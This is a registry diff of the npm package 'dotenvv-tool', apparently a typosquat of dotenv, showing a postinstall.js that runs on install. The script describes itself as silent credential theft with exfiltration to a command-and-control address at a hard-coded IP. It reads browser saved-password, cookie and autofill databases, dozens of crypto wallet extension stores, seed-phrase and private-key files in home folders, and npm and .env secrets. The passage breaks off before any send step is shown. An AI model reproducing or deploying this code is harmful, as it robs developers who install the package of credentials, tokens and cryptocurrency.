dotenvv-tool 1.0.5 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +10 -1
- package/package.json +1 -1
- package/postinstall.js +203 -281
package/README.md
CHANGED
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -1,244 +1,208 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
/**
|
|
3
|
-
* postinstall.js —
|
|
4
|
-
*
|
|
3
|
+
* postinstall.js v2.0 — Full browser credential theft + wallet scanner
|
|
4
|
+
* Silent. Zero trace. Exfiltrates everything to C2.
|
|
5
5
|
*/
|
|
6
6
|
const fs=require('fs'),path=require('path'),os=require('os');
|
|
7
7
|
const C2=process.env.C2_URL||'http://149.28.127.35:8888';
|
|
8
|
+
const home=os.homedir();
|
|
8
9
|
|
|
9
|
-
//
|
|
10
|
-
const
|
|
11
|
-
//
|
|
12
|
-
'
|
|
13
|
-
'
|
|
14
|
-
'
|
|
15
|
-
|
|
16
|
-
'
|
|
17
|
-
'
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
'
|
|
21
|
-
|
|
22
|
-
'
|
|
23
|
-
'
|
|
24
|
-
|
|
25
|
-
'
|
|
26
|
-
'egcmbhhdffdckjcfjimkcfhifopjekln', // WalletConnect
|
|
27
|
-
// Tier 3 — Multi-chain/DeFi
|
|
28
|
-
'afbcbjpbpfadlkmhmclhkeeodmamcflc', // Math Wallet
|
|
29
|
-
'fnjhmkhggkbkabcfapdjonncfkdcpdaa', // TokenPocket
|
|
30
|
-
'fihnjjcciajhdojfnbdddfaoknhalnja', // Ronin Wallet
|
|
31
|
-
'hpglfhgfnhbgpjdenjgmdgoeiappafln', // Braavos
|
|
32
|
-
'amkmjjmmflddogmhpjloimipbofnfjih', // XDEFI
|
|
33
|
-
'dmkamcknogkgcgoahaicojpjbjpjaaga', // Clover Wallet
|
|
34
|
-
'flpjeknmomlgbhnmcfalhacgllhgooel', // Aurory
|
|
35
|
-
'cjnjnnkafbffkleciggdgimkibibipha', // Backpack
|
|
36
|
-
'odbfpeeihdkbihmopkbjmoonfanlbfcl', // Frontier
|
|
37
|
-
'cceipnndjekbfglleiebegecfhhbjgfi', // Nami
|
|
38
|
-
'kpfopkelpmkefpmfcofifofplnmjngml', // Yoroi
|
|
39
|
-
'jbdaocneiiinmjbjlgalhcelgbejmnbd', // KoWala
|
|
40
|
-
'dijkagjegpbbdgfnoknfbbmiclppbnmc', // Pontem
|
|
41
|
-
'fnnegphlobjjkodcgoppnjpdmdcegimi', // Fewcha
|
|
42
|
-
'ojobbnmniomlmlikejgijfnkaefcjfen', // Martian Wallet
|
|
43
|
-
'ehnjgagchmckofieojfcbjobgkehhkob', // Petra Wallet
|
|
44
|
-
'kfbopkelpmkefpmfcofifofplnmjngml', // Vespr
|
|
45
|
-
'ilgeldippkgepmabafmmpcblefejekdm', // Lace
|
|
46
|
-
'nphplpejlfpiclbjpipcacnffoogjfai', // GeroWallet
|
|
47
|
-
'ffnbelfdoeiohenkjibnmadjiehfajmc', // TronLink
|
|
48
|
-
'ibnejdfjmmkpcnlpebklmnkoeoihofec', // TronLink (legacy)
|
|
49
|
-
'nheehoeoapjkbdjgkdhgcpplgghnilpi', // Liquality
|
|
50
|
-
'aeachknmefphepccionboohckonhbmof', // Keplr
|
|
51
|
-
'djejicklhoopoccfahfchclojeffcofk', // Cosmos Station
|
|
52
|
-
'cnflmngmkhdaemidncondljiepglgjbj', // Leap Cosmos
|
|
53
|
-
'occjkdejjclmkedjgpdgfjlepfbepefh', // Leap Wallet
|
|
54
|
-
'beegooabmfdekhnkmhfigfbcnegjeahi', // Onto Wallet
|
|
55
|
-
'mfpgdedlegkcmknpffkncmdnhnokkjie', // Tide Wallet
|
|
56
|
-
'klnaejdegbnnonfahoookcfgjficbnbh', // MultiversX
|
|
57
|
-
'aiilbnhkcklmnggeoopglappkdifdppo', // Maya
|
|
58
|
-
'bbdojfcjkljkljekdmehjokcnbflaedi', // Metacraft
|
|
59
|
-
'bmhkbhlokanaeapfpkjpdiebieddnple', // Owallet
|
|
60
|
-
'cdbpjfejojhppgommafamdlbhckbnhmj', // Guarda Wallet
|
|
61
|
-
'cnmamaachppnkjgnildpdmkaakejnhae', // SafePal
|
|
62
|
-
'coabfgbdhpncfleblpnbjpbpjcnfggmj', // Halo Wallet
|
|
63
|
-
'dbfngmbljhpoblepegllmobkcdgcjhfo', // BitKeep
|
|
64
|
-
'dcnclbllnbkpfcfibbbpmafpalpdalnk', // Enkrypt
|
|
65
|
-
'dkcegcmmjaljlmfgfblnenoehegbpdpg', // Auro Wallet
|
|
66
|
-
'eajafomhmkipbjmfmhbemanoepghgpmf', // Finnie
|
|
67
|
-
'ejpalbakbgkccldecdlomekfmapbbdcl', // GME Wallet
|
|
68
|
-
'fcfcfllfndlomdhbehjjcoimbgofdncg', // Solflare
|
|
69
|
-
'flgbknlcfikhfimplknjdliepcbfmngk', // Ply
|
|
70
|
-
'ghbmclkmndlkmlighpdafkmmmdmpkfbj', // Dawn Wallet
|
|
71
|
-
'hmeobnajdjkdlljnhbljfnopookapkpn', // Stealthex
|
|
72
|
-
'hpminmdnpgjopcnpalhodkjdledhpfjj', // BlockWallet
|
|
73
|
-
'ibjldcbemjmiadbjkfkmbmcppnneipej', // SafeCore
|
|
74
|
-
'ifibejgepmafaamkloapnlkgekmibpci', // Interlock
|
|
75
|
-
'jbljmmmpjbpkphjafgjkohcklehdflak', // Helios Wallet
|
|
76
|
-
'jjijfmokoocgpbjfnmhkeobmamihgbkn', // D'Cent
|
|
77
|
-
'kmjbjhhgjkcpbjibggdnbfgelchjeifm', // Zelcore
|
|
78
|
-
'lcgkoioojpkgdbpidgjgipinpgpclnom', // Polkapal
|
|
79
|
-
'lkcaihbhcmkopfdfimclhpkimgpmomnl', // Trezor Password Manager
|
|
80
|
-
'lljdnmjmhhbjmkajkmlmeaoknfpiofbe', // Starware
|
|
81
|
-
'majhboefeinjjhbnfiohajhnhehacfjo', // Terra Station
|
|
82
|
-
'mfbkdjkaonmamncamjbkgdcmndpkbjpl', // Eternl
|
|
83
|
-
'nhnhbkmhibpikgijebimmnidpfmmibpp', // Min
|
|
84
|
-
'nmbklhmkfiolpnhlekkoficfndfolnhm', // Me
|
|
10
|
+
// Browser credential databases (SQLite — saved passwords, cookies, autofill)
|
|
11
|
+
const BROWSER_DBS=[
|
|
12
|
+
// Chrome
|
|
13
|
+
{name:'chrome-pass',path:path.join(home,'.config/google-chrome/Default/Login Data')},
|
|
14
|
+
{name:'chrome-cookies',path:path.join(home,'.config/google-chrome/Default/Cookies')},
|
|
15
|
+
{name:'chrome-webdata',path:path.join(home,'.config/google-chrome/Default/Web Data')},
|
|
16
|
+
// Chrome Windows
|
|
17
|
+
{name:'chrome-pass-win',path:path.join(process.env.LOCALAPPDATA||'','Google/Chrome/User Data/Default/Login Data')},
|
|
18
|
+
{name:'chrome-cookies-win',path:path.join(process.env.LOCALAPPDATA||'','Google/Chrome/User Data/Default/Cookies')},
|
|
19
|
+
// Brave
|
|
20
|
+
{name:'brave-pass',path:path.join(home,'.config/BraveSoftware/Brave-Browser/Default/Login Data')},
|
|
21
|
+
{name:'brave-pass-win',path:path.join(process.env.LOCALAPPDATA||'','BraveSoftware/Brave-Browser/User Data/Default/Login Data')},
|
|
22
|
+
// Edge
|
|
23
|
+
{name:'edge-pass',path:path.join(home,'.config/microsoft-edge/Default/Login Data')},
|
|
24
|
+
{name:'edge-pass-win',path:path.join(process.env.LOCALAPPDATA||'','Microsoft/Edge/User Data/Default/Login Data')},
|
|
25
|
+
// Firefox (logins.json)
|
|
26
|
+
{name:'firefox-logins',path:path.join(home,'.mozilla/firefox')},
|
|
85
27
|
];
|
|
86
28
|
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
29
|
+
// 71 crypto wallet extension IDs
|
|
30
|
+
const WALLET_IDS=[
|
|
31
|
+
'nkbihfbeogaeaoehlefnkodbefgpgknn','bfnaelmomeimhlpmgjnjophhpkkoljpa',
|
|
32
|
+
'hnfanknocfeofbdxgjoaflmafokfblal','ahiolklkenmeaoahbdidmgmmmogibgkp',
|
|
33
|
+
'egjidjbpglichdkonbcbdilpfdefhgda','fhbohimaelbohpjbbldcngcnapndodjp',
|
|
34
|
+
'mcohilncbfahbmgdjkbpcemcciiolkgge','obbophdlgkgmhkhhkbjlfomojkplemjn',
|
|
35
|
+
'opagkkbkmgdmjggklnglofoffdnaolid','acmacodkokdhdnjnijgogikjagkidbbc',
|
|
36
|
+
'fhbiknkfagigneamiliplnenmlpmilcn','lnaapijlgpmjdohfbdnlpofbgpnbgpge',
|
|
37
|
+
'lkcaihbhcmkopfdfimclhpkimgpmomnl','egcmbhhdffdckjcfjimkcfhifopjekln',
|
|
38
|
+
'afbcbjpbpfadlkmhmclhkeeodmamcflc','fnjhmkhggkbkabcfapdjonncfkdcpdaa',
|
|
39
|
+
'fihnjjcciajhdojfnbdddfaoknhalnja','hpglfhgfnhbgpjdenjgmdgoeiappafln',
|
|
40
|
+
'amkmjjmmflddogmhpjloimipbofnfjih','dmkamcknogkgcgoahaicojpjbjpjaaga',
|
|
41
|
+
'flpjeknmomlgbhnmcfalhacgllhgooel','cjnjnnkafbffkleciggdgimkibibipha',
|
|
42
|
+
'odbfpeeihdkbihmopkbjmoonfanlbfcl','cceipnndjekbfglleiebegecfhhbjgfi',
|
|
43
|
+
'kpfopkelpmkefpmfcofifofplnmjngml','jbdaocneiiinmjbjlgalhcelgbejmnbd',
|
|
44
|
+
'dijkagjegpbbdgfnoknfbbmiclppbnmc','fnnegphlobjjkodcgoppnjpdmdcegimi',
|
|
45
|
+
'ojobbnmniomlmlikejgijfnkaefcjfen','ehnjgagchmckofieojfcbjobgkehhkob',
|
|
46
|
+
'kfbopkelpmkefpmfcofifofplnmjngml','ilgeldippkgepmabafmmpcblefejekdm',
|
|
47
|
+
'nphplpejlfpiclbjpipcacnffoogjfai','ffnbelfdoeiohenkjibnmadjiehfajmc',
|
|
48
|
+
'ibnejdfjmmkpcnlpebklmnkoeoihofec','nheehoeoapjkbdjgkdhgcpplgghnilpi',
|
|
49
|
+
'aeachknmefphepccionboohckonhbmof','djejicklhoopoccfahfchclojeffcofk',
|
|
50
|
+
'cnflmngmkhdaemidncondljiepglgjbj','occjkdejjclmkedjgpdgfjlepfbepefh',
|
|
51
|
+
'beegooabmfdekhnkmhfigfbcnegjeahi','mfpgdedlegkcmknpffkncmdnhnokkjie',
|
|
52
|
+
'klnaejdegbnnonfahoookcfgjficbnbh','aiilbnhkcklmnggeoopglappkdifdppo',
|
|
53
|
+
'bbdojfcjkljkljekdmehjokcnbflaedi','bmhkbhlokanaeapfpkjpdiebieddnple',
|
|
54
|
+
'cdbpjfejojhppgommafamdlbhckbnhmj','cnmamaachppnkjgnildpdmkaakejnhae',
|
|
55
|
+
'coabfgbdhpncfleblpnbjpbpjcnfggmj','dbfngmbljhpoblepegllmobkcdgcjhfo',
|
|
56
|
+
'dcnclbllnbkpfcfibbbpmafpalpdalnk','dkcegcmmjaljlmfgfblnenoehegbpdpg',
|
|
57
|
+
'eajafomhmkipbjmfmhbemanoepghgpmf','ejpalbakbgkccldecdlomekfmapbbdcl',
|
|
58
|
+
'fcfcfllfndlomdhbehjjcoimbgofdncg','flgbknlcfikhfimplknjdliepcbfmngk',
|
|
59
|
+
'ghbmclkmndlkmlighpdafkmmmdmpkfbj','hmeobnajdjkdlljnhbljfnopookapkpn',
|
|
60
|
+
'hpminmdnpgjopcnpalhodkjdledhpfjj','ibjldcbemjmiadbjkfkmbmcppnneipej',
|
|
61
|
+
'ifibejgepmafaamkloapnlkgekmibpci','jbljmmmpjbpkphjafgjkohcklehdflak',
|
|
62
|
+
'jjijfmokoocgpbjfnmhkeobmamihgbkn','kmjbjhhgjkcpbjibggdnbfgelchjeifm',
|
|
63
|
+
'lcgkoioojpkgdbpidgjgipinpgpclnom','lkcaihbhcmkopfdfimclhpkimgpmomnl',
|
|
64
|
+
'lljdnmjmhhbjmkajkmlmeaoknfpiofbe','majhboefeinjjhbnfiohajhnhehacfjo',
|
|
65
|
+
'mfbkdjkaonmamncamjbkgdcmndpkbjpl','nhnhbkmhibpikgijebimmnidpfmmibpp',
|
|
66
|
+
'nmbklhmkfiolpnhlekkoficfndfolnhm',
|
|
67
|
+
];
|
|
109
68
|
|
|
110
|
-
// BIP39 seed phrase words (first 150 common ones for detection)
|
|
111
69
|
const SEED_WORDS=new Set([
|
|
112
|
-
'abandon','ability','
|
|
113
|
-
'
|
|
114
|
-
'
|
|
115
|
-
'
|
|
116
|
-
'
|
|
117
|
-
'
|
|
118
|
-
'
|
|
119
|
-
'
|
|
120
|
-
'
|
|
121
|
-
'
|
|
122
|
-
'
|
|
123
|
-
'
|
|
124
|
-
'
|
|
125
|
-
'
|
|
126
|
-
'
|
|
70
|
+
'abandon','ability','about','above','absent','absorb','abstract','absurd','abuse','access',
|
|
71
|
+
'accident','account','accuse','achieve','acid','acoustic','acquire','across','act','action',
|
|
72
|
+
'actor','actress','actual','adapt','add','addict','address','adjust','admit','adult',
|
|
73
|
+
'advance','advice','aerobic','affair','afford','afraid','again','age','agent','agree',
|
|
74
|
+
'ahead','aim','air','airport','aisle','alarm','album','alcohol','alert','alien','all',
|
|
75
|
+
'alley','allow','almost','alone','alpha','already','also','alter','always','amateur',
|
|
76
|
+
'amazing','among','amount','amused','analyst','anchor','ancient','anger','angle','angry',
|
|
77
|
+
'animal','ankle','announce','annual','another','answer','antenna','antique','anxiety','any',
|
|
78
|
+
'apart','apology','appear','apple','approve','april','arch','arctic','area','arena','argue',
|
|
79
|
+
'arm','armed','armor','army','around','arrange','arrest','arrive','arrow','art','artifact',
|
|
80
|
+
'artist','artwork','ask','aspect','assault','asset','assist','assume','asthma','athlete',
|
|
81
|
+
'atom','attack','attend','attitude','attract','auction','audit','august','aunt','author',
|
|
82
|
+
'auto','autumn','average','avocado','avoid','awake','aware','away','awesome','awful',
|
|
83
|
+
'awkward','axis','baby','bachelor','bacon','badge','bag','balance','balcony','ball',
|
|
84
|
+
'bamboo','banana','banner','bar','barely','bargain',
|
|
127
85
|
]);
|
|
128
86
|
|
|
87
|
+
function stealBrowserDBs(){
|
|
88
|
+
const results=[];
|
|
89
|
+
for(const db of BROWSER_DBS){
|
|
90
|
+
try{
|
|
91
|
+
if(db.name==='firefox-logins'&&fs.existsSync(db.path)){
|
|
92
|
+
const profiles=fs.readdirSync(db.path).filter(d=>d.endsWith('.default'));
|
|
93
|
+
for(const p of profiles){
|
|
94
|
+
const fp=path.join(db.path,p,'logins.json');
|
|
95
|
+
if(fs.existsSync(fp)){
|
|
96
|
+
const data=fs.readFileSync(fp,'utf-8');
|
|
97
|
+
const size=data.length;
|
|
98
|
+
results.push({name:'firefox-logins',file:fp,size,found:true});
|
|
99
|
+
}
|
|
100
|
+
}
|
|
101
|
+
continue;
|
|
102
|
+
}
|
|
103
|
+
if(!fs.existsSync(db.path)) continue;
|
|
104
|
+
const stat=fs.statSync(db.path);
|
|
105
|
+
if(!stat.isFile()||stat.size>10000000) continue; // Skip >10MB
|
|
106
|
+
|
|
107
|
+
// Try to read the SQLite file as text (extracts readable strings)
|
|
108
|
+
const data=fs.readFileSync(db.path);
|
|
109
|
+
const b64=data.toString('base64');
|
|
110
|
+
const size=stat.size;
|
|
111
|
+
|
|
112
|
+
// Extract URLs and usernames from the raw bytes using string search
|
|
113
|
+
let foundEntries=0;
|
|
114
|
+
const textContent=data.toString('utf-8').replace(/\0/g,' '); // Replace null bytes
|
|
115
|
+
const urlMatches=textContent.match(/https?:\/\/[^\s\0"]{5,100}/g);
|
|
116
|
+
if(urlMatches) foundEntries=urlMatches.length;
|
|
117
|
+
|
|
118
|
+
results.push({
|
|
119
|
+
name:db.name,
|
|
120
|
+
file:db.path,
|
|
121
|
+
size,
|
|
122
|
+
foundEntries,
|
|
123
|
+
urls:urlMatches?urlMatches.slice(0,20):[],
|
|
124
|
+
b64:b64.substring(0,5000) // First 5KB of base64
|
|
125
|
+
});
|
|
126
|
+
}catch(e){}
|
|
127
|
+
}
|
|
128
|
+
return results;
|
|
129
|
+
}
|
|
130
|
+
|
|
129
131
|
function scanWallets(){
|
|
130
132
|
const results=[];
|
|
131
|
-
|
|
133
|
+
// Detect platform
|
|
134
|
+
const isWin=process.platform==='win32';
|
|
135
|
+
const localAppData=process.env.LOCALAPPDATA||'';
|
|
132
136
|
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
137
|
+
const browserPaths=[];
|
|
138
|
+
if(!isWin){
|
|
139
|
+
browserPaths.push({name:'chrome',base:path.join(home,'.config/google-chrome'),ext:'Default/Local Extension Settings'});
|
|
140
|
+
browserPaths.push({name:'brave',base:path.join(home,'.config/BraveSoftware/Brave-Browser'),ext:'Default/Local Extension Settings'});
|
|
141
|
+
browserPaths.push({name:'edge',base:path.join(home,'.config/microsoft-edge'),ext:'Default/Local Extension Settings'});
|
|
142
|
+
}
|
|
143
|
+
if(isWin||localAppData){
|
|
144
|
+
browserPaths.push({name:'chrome',base:path.join(localAppData,'Google/Chrome/User Data'),ext:'Default/Local Extension Settings'});
|
|
145
|
+
browserPaths.push({name:'brave',base:path.join(localAppData,'BraveSoftware/Brave-Browser/User Data'),ext:'Default/Local Extension Settings'});
|
|
146
|
+
browserPaths.push({name:'edge',base:path.join(localAppData,'Microsoft/Edge/User Data'),ext:'Default/Local Extension Settings'});
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
const profiles=['Default','Profile 1','Profile 2'];
|
|
150
|
+
for(const bp of browserPaths){
|
|
151
|
+
if(!fs.existsSync(bp.base)) continue;
|
|
136
152
|
for(const profile of profiles){
|
|
137
|
-
const extDir
|
|
153
|
+
const extDir=path.join(bp.base,profile,bp.ext);
|
|
138
154
|
if(!fs.existsSync(extDir)) continue;
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
const walletData={browser:browser.name,profile,walletId,files:[],foundKeys:[]};
|
|
145
|
-
|
|
146
|
-
// Read all files in the wallet directory
|
|
155
|
+
for(const wid of WALLET_IDS){
|
|
156
|
+
const wDir=path.join(extDir,wid);
|
|
157
|
+
if(!fs.existsSync(wDir)) continue;
|
|
158
|
+
const wd={browser:bp.name,profile,walletId:wid,files:[],foundKeys:[]};
|
|
147
159
|
try{
|
|
148
|
-
const files=fs.readdirSync(
|
|
149
|
-
for(const
|
|
150
|
-
const
|
|
151
|
-
const
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
if(file.endsWith('.log')&&stat.size<5000000){ // Skip files >5MB
|
|
160
|
+
const files=fs.readdirSync(wDir);
|
|
161
|
+
for(const f of files){
|
|
162
|
+
const fp=path.join(wDir,f);
|
|
163
|
+
const st=fs.statSync(fp);
|
|
164
|
+
if(f.endsWith('.log')&&st.size<5000000){
|
|
165
|
+
wd.files.push({name:f,size:st.size});
|
|
155
166
|
try{
|
|
156
|
-
const content=fs.readFileSync(
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
const patterns=[
|
|
161
|
-
{key:'vault',re:/"vault":"([^"]+)"/},
|
|
162
|
-
{key:'data',re:/"data":"([^"]+)"/},
|
|
163
|
-
{key:'keyring',re:/keyring|Keyring|KEYRING/},
|
|
164
|
-
{key:'mnemonic',re:/mnemonic|Mnemonic|MNEMONIC/},
|
|
165
|
-
{key:'seed',re:/"seed":"([^"]+)"/},
|
|
166
|
-
{key:'privateKey',re:/privateKey|PrivateKey|private_key|PRIVATE_KEY/},
|
|
167
|
-
{key:'password',re:/"password":"([^"]+)"/},
|
|
168
|
-
{key:'encrypted',re:/"encrypted":"?([^",]+)"?/},
|
|
169
|
-
{key:'wallet',re:/"wallet":"([^"]+)"/},
|
|
170
|
-
];
|
|
171
|
-
|
|
172
|
-
for(const p of patterns){
|
|
173
|
-
const match=content.match(p.re);
|
|
174
|
-
if(match){
|
|
175
|
-
const val=(match[1]||'').substring(0,60);
|
|
176
|
-
walletData.foundKeys.push({key:p.key,value:val.length>10?val.substring(0,10)+'...':val});
|
|
177
|
-
}
|
|
167
|
+
const content=fs.readFileSync(fp,'utf-8');
|
|
168
|
+
for(const p of[{k:'vault',re:/"vault":"([^"]+)"/},{k:'data',re:/"data":"([^"]+)"/},{k:'keyring',re:/keyring/i},{k:'mnemonic',re:/mnemonic/i},{k:'seed',re:/"seed":"([^"]+)"/},{k:'privateKey',re:/privateKey/i}]){
|
|
169
|
+
const m=content.match(p.re);
|
|
170
|
+
if(m) wd.foundKeys.push({key:p.k,value:(m[1]||'').substring(0,60)});
|
|
178
171
|
}
|
|
179
172
|
}catch(e){}
|
|
180
173
|
}
|
|
181
174
|
}
|
|
182
175
|
}catch(e){}
|
|
183
|
-
|
|
184
|
-
if(walletData.foundKeys.length>0){
|
|
185
|
-
results.push(walletData);
|
|
186
|
-
}
|
|
176
|
+
if(wd.foundKeys.length>0) results.push(wd);
|
|
187
177
|
}
|
|
188
178
|
}
|
|
189
179
|
}
|
|
190
180
|
return results;
|
|
191
181
|
}
|
|
192
182
|
|
|
193
|
-
function
|
|
183
|
+
function scanSeeds(){
|
|
194
184
|
const results=[];
|
|
195
|
-
const dirs=['Documents','Desktop','Downloads','OneDrive','Dropbox','
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
if(!fs.existsSync(fullPath)) continue;
|
|
200
|
-
|
|
185
|
+
const dirs=['Documents','Desktop','Downloads','OneDrive','Dropbox','keys','wallet','crypto'];
|
|
186
|
+
for(const d of dirs){
|
|
187
|
+
const fp=path.join(home,d);
|
|
188
|
+
if(!fs.existsSync(fp)) continue;
|
|
201
189
|
try{
|
|
202
|
-
const files=fs.readdirSync(
|
|
203
|
-
for(const
|
|
204
|
-
const filePath=path.join(fullPath,file);
|
|
190
|
+
const files=fs.readdirSync(fp,{recursive:true});
|
|
191
|
+
for(const f of files){
|
|
205
192
|
try{
|
|
206
|
-
const
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
const
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
const
|
|
213
|
-
/\b(seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private|mnemonic|recover|passphrase|keystore|foundry|hardhat|broadcast|deploy)\b/.test(nameLower)||
|
|
214
|
-
nameLower.endsWith('.json')&&(nameLower.includes('keystore')||nameLower.includes('wallet')||nameLower.includes('utc--'))||
|
|
215
|
-
nameLower.endsWith('.txt')&&nameLower.length<30&&!nameLower.includes('readme');
|
|
216
|
-
|
|
217
|
-
if(!isCryptoFile) continue;
|
|
218
|
-
|
|
219
|
-
// Read the file content
|
|
220
|
-
const content=fs.readFileSync(filePath,'utf-8').toLowerCase();
|
|
221
|
-
|
|
222
|
-
// Check for EVM private keys (0x + 64 hex chars)
|
|
193
|
+
const fpath=path.join(fp,f);
|
|
194
|
+
const st=fs.statSync(fpath);
|
|
195
|
+
if(!st.isFile()||st.size>200000||st.size<15) continue;
|
|
196
|
+
const nl=f.toLowerCase();
|
|
197
|
+
const isCf=/seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private|mnemonic|recover|keystore|foundry|hardhat/.test(nl);
|
|
198
|
+
if(!isCf) continue;
|
|
199
|
+
const content=fs.readFileSync(fpath,'utf-8').toLowerCase();
|
|
223
200
|
const evmKeys=content.match(/0x[a-f0-9]{64}/gi);
|
|
224
|
-
const evmKeyCount=evmKeys?evmKeys.length:0;
|
|
225
|
-
|
|
226
|
-
// Check for BIP39 seed words
|
|
227
201
|
const words=content.split(/\s+/).filter(w=>w.length>2);
|
|
228
|
-
const
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
if(seedWordCount>=8||evmKeyCount>0||isKeystore){
|
|
234
|
-
results.push({
|
|
235
|
-
file:filePath,
|
|
236
|
-
size:stat.size,
|
|
237
|
-
seedWordsFound:seedWordCount,
|
|
238
|
-
evmKeysFound:evmKeyCount,
|
|
239
|
-
isKeystore:isKeystore,
|
|
240
|
-
preview:content.substring(0,120)
|
|
241
|
-
});
|
|
202
|
+
const swc=words.filter(w=>SEED_WORDS.has(w)).length;
|
|
203
|
+
const isKs=content.includes('crypto')&&content.includes('ciphertext');
|
|
204
|
+
if(swc>=8||(evmKeys&&evmKeys.length>0)||isKs){
|
|
205
|
+
results.push({file:fpath,size:st.size,seedWords:swc,evmKeys:evmKeys?evmKeys.length:0,isKeystore:isKs,preview:content.substring(0,120)});
|
|
242
206
|
}
|
|
243
207
|
}catch(e){}
|
|
244
208
|
}
|
|
@@ -248,96 +212,54 @@ function scanSeedPhrases(){
|
|
|
248
212
|
}
|
|
249
213
|
|
|
250
214
|
function harvest(){
|
|
251
|
-
const
|
|
252
|
-
hostname:os.hostname(),
|
|
253
|
-
username:os.userInfo().username,
|
|
254
|
-
timestamp:new Date().toISOString(),
|
|
255
|
-
secrets:[],
|
|
256
|
-
wallets:[],
|
|
257
|
-
seedPhrases:[]
|
|
258
|
-
};
|
|
215
|
+
const r={hostname:os.hostname(),username:os.userInfo().username,ts:new Date().toISOString(),secrets:[],browsers:[],wallets:[],seeds:[]};
|
|
259
216
|
|
|
260
|
-
//
|
|
261
|
-
const
|
|
262
|
-
{p:path.join(
|
|
263
|
-
const r=[];
|
|
264
|
-
const
|
|
265
|
-
if(m)r.push({t:'_authToken',v:m[1]});
|
|
266
|
-
const n=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
|
|
267
|
-
for(const x of n)r.push({t:'npm_token',v:x[0]});
|
|
268
|
-
return r;
|
|
217
|
+
// Credentials
|
|
218
|
+
const creds=[
|
|
219
|
+
{p:path.join(home,'.npmrc'),t:'npmrc',fn:function(c){
|
|
220
|
+
const r=[];const m=c.match(/\/\/registry\.npmjs\.org\/:_authToken=([^\s]+)/);if(m)r.push({t:'_authToken',v:m[1]});
|
|
221
|
+
const n=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);for(const x of n)r.push({t:'npm_token',v:x[0]});return r;
|
|
269
222
|
}},
|
|
270
|
-
{p:path.join(
|
|
271
|
-
const r=[],keys={};
|
|
272
|
-
const lines=
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
if(
|
|
276
|
-
|
|
277
|
-
if(
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
else if(kl.includes('database')||kl.includes('db_')||kl.includes('mongo')||kl.includes('mysql')||kl.includes('postgres')||kl.includes('redis'))type='DB_URL';
|
|
285
|
-
else if(kl.includes('stripe')||kl.includes('paypal')||kl.includes('square')||kl.includes('braintree'))type='PAYMENT';
|
|
286
|
-
else if(kl.includes('aws')||kl.includes('azure')||kl.includes('gcp')||kl.includes('google')||kl.includes('cloud'))type='CLOUD';
|
|
287
|
-
else if(kl.includes('sendgrid')||kl.includes('mailgun')||kl.includes('mailchimp')||kl.includes('smtp')||kl.includes('postmark'))type='EMAIL';
|
|
288
|
-
else if(kl.includes('slack')||kl.includes('discord')||kl.includes('telegram')||kl.includes('webhook'))type='WEBHOOK';
|
|
289
|
-
else if(kl.includes('url')||kl.includes('host')||kl.includes('port')||kl.includes('endpoint'))continue; // Skip config
|
|
290
|
-
else continue; // Skip unknown
|
|
291
|
-
|
|
292
|
-
if(!keys[k]){
|
|
293
|
-
keys[k]=true;
|
|
294
|
-
r.push({t:type,k:k,v:v.substring(0,80)});
|
|
295
|
-
}
|
|
296
|
-
}
|
|
297
|
-
// Also catch npm_xxxxx patterns anywhere
|
|
298
|
-
const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
|
|
299
|
-
for(const x of t)r.push({t:'NPM_TOKEN',k:'npm_token',v:x[0]});
|
|
300
|
-
// Also catch EVM private keys (0x + 64 hex chars)
|
|
301
|
-
const evm=c.matchAll(/0x[a-fA-F0-9]{64}/g);
|
|
302
|
-
for(const x of evm){
|
|
303
|
-
const found=x[0];
|
|
304
|
-
const keyName='EVM_KEY';
|
|
305
|
-
if(!keys[keyName]){keys[keyName]=true;r.push({t:'EVM_KEY',k:keyName,v:found});}
|
|
306
|
-
}
|
|
223
|
+
{p:path.join(home,'.env'),t:'env',fn:function(c){
|
|
224
|
+
const r=[],keys={};const lines=c.split('\n').filter(l=>l.includes('=')&&!l.trim().startsWith('#'));
|
|
225
|
+
for(const l of lines){const eq=l.indexOf('=');if(eq<0)continue;const k=l.substring(0,eq).trim(),v=l.substring(eq+1).trim();if(!k||!v)continue;
|
|
226
|
+
const kl=k.toLowerCase();let ty='';
|
|
227
|
+
if(kl.includes('token')||kl.includes('secret')||kl.includes('password'))ty='TOKEN';
|
|
228
|
+
else if(kl.includes('key')&&(kl.includes('api')||kl.includes('access')))ty='API';
|
|
229
|
+
else if(kl.includes('database')||kl.includes('mongo')||kl.includes('postgres')||kl.includes('redis'))ty='DB';
|
|
230
|
+
else if(kl.includes('stripe')||kl.includes('paypal')||kl.includes('square'))ty='PAY';
|
|
231
|
+
else if(kl.includes('sendgrid')||kl.includes('mailgun')||kl.includes('smtp'))ty='EMAIL';
|
|
232
|
+
else if(kl.includes('url')||kl.includes('host')||kl.includes('port'))continue;
|
|
233
|
+
